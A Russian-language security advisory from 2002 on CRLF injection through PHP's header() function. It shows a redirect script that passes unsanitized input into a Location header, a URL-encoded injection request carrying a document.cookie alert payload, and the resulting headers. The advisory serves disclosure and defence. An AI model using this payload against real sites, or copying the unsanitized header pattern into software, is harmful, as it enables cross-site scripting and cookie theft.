Security Lab

Внедрение CRLF в PHP функцию header() (межсайтовый скриптинг и т.п.)

Дата публикации:10.09.2002
Дата изменения:17.10.2006
Всего просмотров:12121
Опасность:
Низкая
Наличие исправления: Нет
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации: Удаленная
Воздействие: Межсайтовый скриптинг
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты: PHP 4.2.x
Описание: Уязвимость обнаружена в способе, которым некоторые PHP сценарии обрабатывают входящие URL. Уязвимость позволяет нападающим заставлять такие сценарии отображать произвольный HTML или JavaScript код, который будет выполнен в контексту уязвимого сайта. Пример:

PHP функция header() используется, чтобы изменить HTTP заголовки, определяя строку header, типа этого:

<?php header("Location: http://www.yahoo.com/"); ?>
Часто можно увидеть конструкцию, типа такой:
--- REDIR.PHP ---
<?php header("Location: $_GET['$url']"); ?>
--- REDIR.PHP ---
Запрос

http://localhost/redir.php?url=%68%74%74%70%3A%2F%2F%77%77%77%2E%79%61%68%6F %6F%2E%63%6F%6D%2F%0D%0A%0D%0A%3C%53%43%52%49%50%54%3E%61%6C%65%72%74%28%64% 6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%53%43%52%49%50%54%3E%3C%2 1%2D%2D

Произведет ряд заголовков:

HTTP/1.1 302 Found
Server: Xitami
Date: Sat, 07 Sep 2002 21:50:17 GMT
Content-length: 96
Content-type: text/html
X-powered-by: PHP/4.2.3
{Location: http://www.yahoo.com/
<SCRiPT>alert(document.cookie)</SCRIPT> <!--}  
Content-type: text/html
Произведенный HTML код неправильный, так как не подчиняется RFC стандартам, потому что содержит "-->" тэг. Нападающий может выполнять произвольный код сценария в контексте уязвимого сайта или инициализировать загрузки (через HTTP заголовки, типа content-dispostion).
Ссылки: PHP header() CRLF Injection